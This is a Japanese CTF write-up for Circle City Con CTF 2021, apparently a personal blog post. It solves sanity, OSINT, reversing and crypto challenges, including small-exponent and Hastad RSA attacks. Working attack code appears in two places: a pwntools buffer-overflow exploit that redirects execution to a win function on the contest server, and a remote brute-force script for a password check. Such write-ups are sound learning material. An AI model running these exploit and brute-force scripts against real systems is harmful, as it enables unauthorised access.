Circle City Con CTF 2021 Writeup

この大会は2021/6/12 1:00(JST)~2021/6/14 4:00(JST)に開催されました。
今回もチームで参戦。結果は1471点で291チーム中37位でした。
自分で解けた問題をWriteupとして書いておきます。

[Sanity] (MISC)

Discordに入り、ルールの記載のところで、:thumbsup:のリアクションをしたら、たくさんのチャネルが現れた。現れた#ctf-generalチャネルのトピックにフラグが書いてあった。

CCC{r34dy_s3t_h4ck!!!}

Non Zero Sum Game (MISC)

問題にフラグが書いてあった。

CCC{I_r34lly_w4nt_t0_l0se_p01nts}

[Baby] Building Locator (OSINT)

Discordに入り、#ctf-announcementsチャネルのメッセージを見ると、この問題のフラグが書かれていた。
f:id:satou-y:20210624183250p:plain

https://www.taipei-101.com.tw

[Baby] Fawn CDN (PWN)

$ file fawncdn
fawncdn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=28b35c5c7f454bbe88ca2eac5f69c05fb5c734fa, for GNU/Linux 3.2.0, with debug_info, not stripped
$ checksec.sh --file fawncdn
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   fawncdn

Ghidraでデコンパイルすると、win関数があり、画像を取得できることがわかる。

void win(void)

{
  FILE *__stream;
  size_t __nmemb;
  void *__ptr;
  size_t fs;
  FILE *fp;
  uint8_t *buf;
  
  __stream = fopen("fawn.jpg","r");
  fseek(__stream,0,2);
  __nmemb = ftell(__stream);
  rewind(__stream);
  __ptr = calloc(__nmemb,1);
  fread(__ptr,1,__nmemb,__stream);
  fclose(__stream);
  fwrite(__ptr,1,__nmemb,stdout);
  free(__ptr);
  return;
}
$ gdb -q ./fawncdn 
Reading symbols from ./fawncdn...done.
gdb-peda$ start

[----------------------------------registers-----------------------------------]
RAX: 0x555555555493 (<main>:	endbr64)
RBX: 0x0 
RCX: 0x5555555555f0 (<__libc_csu_init>:	endbr64)
RDX: 0x7fffffffdf48 --> 0x7fffffffe290 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffdf38 --> 0x7fffffffe277 ("/mnt/hgfs/Shared/fawncdn")
RDI: 0x1 
RBP: 0x5555555555f0 (<__libc_csu_init>:	endbr64)
RSP: 0x7fffffffde58 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
RIP: 0x555555555493 (<main>:	endbr64)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x555555555260 (<_start>:	endbr64)
R13: 0x7fffffffdf30 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555555490 <deliver+62>:	nop
   0x555555555491 <deliver+63>:	leave  
   0x555555555492 <deliver+64>:	ret    
=> 0x555555555493 <main>:	endbr64 
   0x555555555497 <main+4>:	push   rbp
   0x555555555498 <main+5>:	mov    rbp,rsp
   0x55555555549b <main+8>:	sub    rsp,0x30
   0x55555555549f <main+12>:	mov    rax,QWORD PTR fs:0x28
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde58 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
0008| 0x7fffffffde60 --> 0x1 
0016| 0x7fffffffde68 --> 0x7fffffffdf38 --> 0x7fffffffe277 ("/mnt/hgfs/Shared/fawncdn")
0024| 0x7fffffffde70 --> 0x100008000 
0032| 0x7fffffffde78 --> 0x555555555493 (<main>:	endbr64)
0040| 0x7fffffffde80 --> 0x0 
0048| 0x7fffffffde88 --> 0xca952ce7b30069c4 
0056| 0x7fffffffde90 --> 0x555555555260 (<_start>:	endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, main () at fawncdn.c:46
46	fawncdn.c: そのようなファイルやディレクトリはありません.
gdb-peda$ p win
$1 = {void (void)} 0x555555555390 <win>
gdb-peda$ c
Continuing.
 ________ ________  ________  ________      
|\  _____\\   ____\|\   ___ \|\   ___  \    
\ \  \__/\ \  \___|\ \  \_|\ \ \  \\ \  \   
 \ \   __\\ \  \    \ \  \ \\ \ \  \\ \  \  
  \ \  \_| \ \  \____\ \  \_\\ \ \  \\ \  \ 
   \ \__\   \ \_______\ \_______\ \__\\ \__\
    \|__|    \|_______|\|_______|\|__| \|__|


1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> 1
{" error ": "CDN contains no content at 0x555555555390"}
1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

1.を選択すると、win関数のアドレスが表示される。
>|sh|
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/fawncdn 
 ________ ________  ________  ________      
|\  _____\\   ____\|\   ___ \|\   ___  \    
\ \  \__/\ \  \___|\ \  \_|\ \ \  \\ \  \   
 \ \   __\\ \  \    \ \  \ \\ \ \  \\ \  \  
  \ \  \_| \ \  \____\ \  \_\\ \ \  \\ \  \ 
   \ \__\   \ \_______\ \_______\ \__\\ \__\
    \|__|    \|_______|\|_______|\|__| \|__|


1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> 3

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x41416741414b4141 ('AAKAAgAA')
RBX: 0x0 
RCX: 0x1999999999999999 
RDX: 0x0 
RSI: 0xffffffda 
RDI: 0xa ('\n')
RBP: 0x7fffffffde50 --> 0x5555555555f0 (<__libc_csu_init>:	endbr64)
RSP: 0x7fffffffde20 --> 0x7ffff7de3b40 (<_dl_fini>:	push   rbp)
RIP: 0x5555555555a0 (<main+269>:	call   rax)
R8 : 0x7fffffffde31 --> 0x414134000a4c000a ('\n')
R9 : 0x0 
R10: 0x7ffff7b80c40 --> 0x2000200020002 
R11: 0xa ('\n')
R12: 0x555555555260 (<_start>:	endbr64)
R13: 0x7fffffffdf30 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555555595 <main+258>:	call   0x5555555551b0 <printf@plt>
   0x55555555559a <main+263>:	jmp    0x5555555555c9 <main+310>
   0x55555555559c <main+265>:	mov    rax,QWORD PTR [rbp-0x10]
=> 0x5555555555a0 <main+269>:	call   rax
   0x5555555555a2 <main+271>:	jmp    0x5555555555c9 <main+310>
   0x5555555555a4 <main+273>:	
    mov    rax,QWORD PTR [rip+0x2a8d]        # 0x555555558038 <bye>
   0x5555555555ab <main+280>:	mov    rsi,rax
   0x5555555555ae <main+283>:	lea    rdi,[rip+0xc9c]        # 0x555555556251
No argument
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde20 --> 0x7ffff7de3b40 (<_dl_fini>:	push   rbp)
0008| 0x7fffffffde28 --> 0x300000000 
0016| 0x7fffffffde30 --> 0x4134000a4c000a33 ('3\n')
0024| 0x7fffffffde38 ("AJAAfAA5AAKAAgAA")
0032| 0x7fffffffde40 ("AAKAAgAA")
0040| 0x7fffffffde48 --> 0x1af86f22e343f900 
0048| 0x7fffffffde50 --> 0x5555555555f0 (<__libc_csu_init>:	endbr64)
0056| 0x7fffffffde58 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
main () at fawncdn.c:71
71	in fawncdn.c
gdb-peda$ patto AAKAAgAA
AAKAAgAA found at offset: 88

以下の方針でwin関数を実行し、画像を取得する。

・1.を選択し、win関数のアドレスを取得
・88バイト+win関数アドレスを入力し、returnアドレスを上書きする。
・win関数実行で取得した画像を保存する。
from pwn import *

if len(sys.argv) == 1:
    p = remote('35.224.135.84', 1001)
else:
    p = process('./fawncdn')

data = p.recvuntil('> ')
print data + '1'
p.sendline('1')

data = p.recvuntil('> ')
win_addr = eval(data.split('\n')[0].split(' ')[-1][:-2])

payload = 'A' * 88
payload += p64(win_addr)
print data + payload
p.sendline(payload)

data = p.recvrepeat(10)
print data + '3'
p.sendline('3')
data = p.recvuntil('\xff\xd9')

with open('fawn.jpg', 'wb') as f:
    f.write(data)

実行結果は以下の通り。

[+] Opening connection to 35.224.135.84 on port 1001: Done
[*] '/mnt/hgfs/Shared/fawncdn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
 ________ ________  ________  ________      
|\  _____\\   ____\|\   ___ \|\   ___  \    
\ \  \__/\ \  \___|\ \  \_|\ \ \  \\ \  \   
 \ \   __\\ \  \    \ \  \ \\ \ \  \\ \  \  
  \ \  \_| \ \  \____\ \  \_\\ \ \  \\ \  \ 
   \ \__\   \ \_______\ \_______\ \__\\ \__\
    \|__|    \|_______|\|_______|\|__| \|__|


1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> 1
{" error ": "CDN contains no content at 0x558610cbe390"}
1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90��\x86U\x00
Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> Please choose a valid option!

1. List files.
2. Choose files.
3. Deliver files.
4. Quit.

cmd> 3
[*] Closed connection to 35.224.135.84 port 1001

読みにくいが、画像にフラグが書いてある。
f:id:satou-y:20210624183838j:plain

CCC{th3y_w3r3nt_ly1ng_th1s_CDN_c4n_d3l1v3r}

[Baby] Artform (REV)

Ghidraでデコンパイルする。

undefined8 FUN_00101189(void)

{
  long in_FS_OFFSET;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_28 = 0x625f3368745f7434;
  local_20 = 0x7d68357572;
  local_38 = 0x316c5f317b434343;
  local_30 = 0x33625f30745f336b;
  memset(&local_38,0x41,0x20);
  printf("You like to paint? You know what I say to that? %s!",&local_38);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

フラグらしきコード部分をデコードする。

>>> int(0x316c5f317b434343).to_bytes(8, byteorder='little')
b'CCC{1_l1'
>>> int(0x33625f30745f336b).to_bytes(8, byteorder='little')
b'k3_t0_b3'
>>> int(0x625f3368745f7434).to_bytes(8, byteorder='little')
b'4t_th3_b'
>>> int(0x7d68357572).to_bytes(5, byteorder='little')
b'ru5h}'
CCC{1_l1k3_t0_b34t_th3_bru5h}

[Baby] Guardian (REV)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long lVar1;
  char *__s;
  size_t sVar2;
  char *__s_00;
  char *pcVar3;
  ulong uVar4;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  setup();
  __s = (char *)getflag();
  if (__s != (char *)0x0) {
    sVar2 = strlen(__s);
    __s_00 = (char *)calloc(1,sVar2 + 2);
    if (__s_00 != (char *)0x0) {
      __printf_chk(1,"%s\n\nHOOOOOOOOOO Goes there? Do you have the password?\n> ",owl);
      pcVar3 = fgets(__s_00,(int)sVar2 + 1,stdin);
      if (pcVar3 != (char *)0x0) {
        if (sVar2 != 0) {
          uVar4 = 0;
          do {
            while( true ) {
              if (__s_00[uVar4] != __s[uVar4]) {
                puts("\nHoo hoo hoo!\nThat is incorrect, my guardian.");
                goto LAB_00101336;
              }
              uVar4 = uVar4 + 1;
              __printf_chk(1,&DAT_0010200f);
              if ((uVar4 & 7) != 0) break;
              putchar(10);
              if (uVar4 == sVar2) goto LAB_001012ff;
            }
          } while (uVar4 != sVar2);
        }
LAB_001012ff:
        puts("\nWe will do our best.....you have fought well.");
        if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
          return 0;
        }
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
    }
  }
LAB_00101336:
                    /* WARNING: Subroutine does not return */
  exit(0);
}

フラグの先頭から1文字ずつチェックをし、チェックで不一致になるまで、チェックマークを表示している。先頭の文字から順にブルートフォースでフラグを割り出せばよい。

import socket
import time

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

finish = False
flag = ''
while True:
    for code in range(32, 127):
        try_flag = flag + chr(code)

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('35.224.135.84', 2000))

        data = recvuntil(s, '\n> ')
        print data + try_flag
        s.sendall(try_flag + '\n')
        try:
            data = recvuntil(s, '.\n').rstrip()
            print data
        except:
            finish = True
            break
        if data.count('\xe2\x9c\x85  ') == len(try_flag):
            flag += chr(code)
            break

        time.sleep(1)

    if finish:
        break

flag += '}'
print flag

実行結果は以下の通り。

        :
touch: cannot touch '/var/log/xinetdlog': Permission denied
!WWWWWeeu..   ..ueeWWWWW!
 "$$(    R$$e$$R    )$$"
  "$8oeeo. "*" .oeeo8$"
  .$$#"""*$i i$*"""#$$.
  9$" @*c $$ $$F @*c $N
  9$  NeP $$ $$L NeP $$
  `$$uuuuo$$ $$uuuuu$$"
  x$P**$$P*$"$P#$$$*R$L
 x$$   #$k #$F :$P` '#$i
 $$     #$  #  $$     #$k
d$"     '$L   x$F     '$$
$$      '$E   9$>      9$>
$6       $F   ?$>      9$>
$$      d$    '$&      8$
"$k    x$$     !$k    :$$
 #$b  u$$L      9$b.  $$"
 '#$od$#$$u....u$P$Nu@$"
 ..?$R)..?R$$$$*"  #$P
 $$$$$$$$$$$$$$@WWWW$NWWW
 `````""3$F""""#$F"""""""
        @$.... '$B
       d$$$$$$$$$$:
       ````````````


HOOOOOOOOOO Goes there? Do you have the password?
> CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r>
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  
Hoo hoo hoo!
That is incorrect, my guardian.
touch: cannot touch '/var/log/xinetdlog': Permission denied
!WWWWWeeu..   ..ueeWWWWW!
 "$$(    R$$e$$R    )$$"
  "$8oeeo. "*" .oeeo8$"
  .$$#"""*$i i$*"""#$$.
  9$" @*c $$ $$F @*c $N
  9$  NeP $$ $$L NeP $$
  `$$uuuuo$$ $$uuuuu$$"
  x$P**$$P*$"$P#$$$*R$L
 x$$   #$k #$F :$P` '#$i
 $$     #$  #  $$     #$k
d$"     '$L   x$F     '$$
$$      '$E   9$>      9$>
$6       $F   ?$>      9$>
$$      d$    '$&      8$
"$k    x$$     !$k    :$$
 #$b  u$$L      9$b.  $$"
 '#$od$#$$u....u$P$Nu@$"
 ..?$R)..?R$$$$*"  #$P
 $$$$$$$$$$$$$$@WWWW$NWWW
 `````""3$F""""#$F"""""""
        @$.... '$B
       d$$$$$$$$$$:
       ````````````


HOOOOOOOOOO Goes there? Do you have the password?
> CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r?
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  ✅  
✅  ✅  ✅  ✅  ✅  ✅  ✅  
Hoo hoo hoo!
That is incorrect, my guardian.
touch: cannot touch '/var/log/xinetdlog': Permission denied
!WWWWWeeu..   ..ueeWWWWW!
 "$$(    R$$e$$R    )$$"
  "$8oeeo. "*" .oeeo8$"
  .$$#"""*$i i$*"""#$$.
  9$" @*c $$ $$F @*c $N
  9$  NeP $$ $$L NeP $$
  `$$uuuuo$$ $$uuuuu$$"
  x$P**$$P*$"$P#$$$*R$L
 x$$   #$k #$F :$P` '#$i
 $$     #$  #  $$     #$k
d$"     '$L   x$F     '$$
$$      '$E   9$>      9$>
$6       $F   ?$>      9$>
$$      d$    '$&      8$
"$k    x$$     !$k    :$$
 #$b  u$$L      9$b.  $$"
 '#$od$#$$u....u$P$Nu@$"
 ..?$R)..?R$$$$*"  #$P
 $$$$$$$$$$$$$$@WWWW$NWWW
 `````""3$F""""#$F"""""""
        @$.... '$B
       d$$$$$$$$$$:
       ````````````


HOOOOOOOOOO Goes there? Do you have the password?
> CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r? 
CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r?}
CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r?}

[Baby] RSA (CRYPTO)

eが小さく、Nが大きいため、Low Public Exponent Attackで復号する。

import gmpy
from Crypto.Util.number import *

e = 3
ct = 1112413624683819960899152482895461211039349964898672381675850025556800617245120168928400758297834676330400246617472191750627367991315450127361583383350639760738254818244740474313061192563860605923503717

m = gmpy.root(ct, e)[0]
flag = long_to_bytes(m)
print flag

復号結果は以下の通り。

short_and_to_the_point
flag{short_and_to_the_point}

[Baby] Meadows (CRYPTO)

seedが設定されているので、ランダム値がわかる。あとは逆算していけばよい。

import random
from Crypto.Util.number import *

random.seed(0x1337)

with open('out-d5123fb523dc13ee5ffd01ba2ab51d90.txt', 'r') as f:
    enc = eval(f.read())

g = enc[0][0]
p = enc[0][1]

flag = ''
for c in enc[1:]:
    m = (c * inverse(pow(g, random.randrange(2, p - 1), p), p)) % p
    flag += chr(m)

print flag
CCC{f13ld5_4nd_1nv3rs3s}

[Baby] CRT RSA (CRYPTO)

RSA暗号のeが3で、3つのn, cのペアがある。Hastad's Broadcast Attackで復号する。

import functools
from Crypto.Util.number import *

def chinese_remainder(n, a):
    sum = 0
    prod = functools.reduce(lambda a, b: a*b, n)
    for n_i, a_i in zip(n, a):
        p = prod // n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod
 
def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a // b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1

def inv_pow(c, e):
    low = -1
    high = c+1
    while low + 1 < high:
        m = (low + high) // 2
        p = pow(m, e)
        if p < c:
            low = m
        else:
            high = m
    m = high
    assert pow(m, e) == c
    return m

e = 3

n_1 = 18313667803478867336609004721464541537328973484305462826796382793855753159667702339443214415676107219128019719918729781240367765840170011546130583192904778311406642412055832301895834234050092458894891378245659415453668079516268277621821820816314253525389030994411875738859521385775378994318680298110895022910442167872459649446752807884859578440573460451717182770603357201261838877834565082113563029377616922987738400092690457439097525425733191455006127272117318175252557137776704423298751249687687982939242399995960217891670545776591917279437324424655966555374035972380565105603454122721599641307596329237684195317587

n_2 = 20194467459457647060586516996478370472351267218473917410062391619804366508155615598555934151439965040658239840971767337317396956926547783621869694734101324546348705982578129843495046800965472146299498824698092002656707267929600194580016819675385334043852783023251749457877096316831425135876783876607713235344100191162140401175616183217075255611260047339942560958156070307547443884997807476833178558920808584815204100121025788968550385803770908539890673979000205479656826535064665232908045866184941964720268186377486138453445647534884078844954199823059749774156922214595091852691529313493766002778666818883664405832403 

n_3 = 28410407035821399633105602414308666083186296658943720122869492873011020714858272525924383333651592284428901214906611872460164447581815587883155804582069085992375163808745662275133491411336915996399762543519217523867565162464721135784726071214566835068379436095952306868321574023543552212709114558637219985795158790999008762464781584235742497782435874814916996914994622843458737648796476512273155699038887480170809464170867427859436811167822162365878701943537205202829629515767060354955288883378511576712085561459099352295975180411538002583505384685029771639657760193592641463091670959570110199839193007853012047792951 

ct_1 = 4361068625491121585959284487341364298014917091167459186815285529598354735142456720602466259897053502006543584155650414108053083187715487460414552189153473176328972836654051104002438654670972840351138096724369732822616030793769716381154959736278166838792024300286881567007214354013293287163863182681969888796359513260199887574592768851482378233523702226160031879160962727499277063367162956148498154268271025542127905089334411348063974019724471911095717624141476012283069088544181538863919281957631181754200250370777952217187591480953121517810770662230820689692425877920149973485291740351240601042031554568416165653801

ct_2 = 7454119914503246454695225608366998910502362663575277057804461920278767763248677179908320434252341988720062910948247234833145541538721789767567216822524509307779250204983551429213791107932957166581434644890426988090302661172536864772938094552788386232242044947782405157429008368192073663951594129377676752306905041733416517122507652313240587554617250337508737466749142455332827859556080609592971327915921976414897414103328089640910405224692254001370474817181338600658683188149268215440111576616804026782469078580075278163035385301354208954742090806396419312598674668782737577467445931682124259183904307994197406247889

ct_3 = 475431757150415548038120878675026605258081422958849322189947529651864550511016854432752841608067858620795144603286556404827027829790131339932716728168413658428417455936312330389421287814427992302961543375036809563812960151703062899930161470602633031599828887098914730417799654684023064362771853376591221374617439483919394574339804160488928252982891682671342232959007865677713493662084854838321612782206385687329676060126776093320146302404930844788632687207893577657763961310494363939265885733023621969573701702862867184316968075660702024069750913111874157011920933780381567012981148057478008081618456449117864142394
 
N = [n_1, n_2, n_3]
C = [ct_1, ct_2, ct_3]
a = chinese_remainder(N, C)
for n, c in zip(N, C):
    assert a % n == c
m = inv_pow(a, e)
flag = long_to_bytes(m)
print flag

復号結果は以下の通り。

That there is such a thing as raw, unalloyed, agendaless kindness. That it is possible to fall asleep during an anxiety attack. That concentrating on anything is very hard work. flag{infi_nite_jes_t}
flag{infi_nite_jes_t}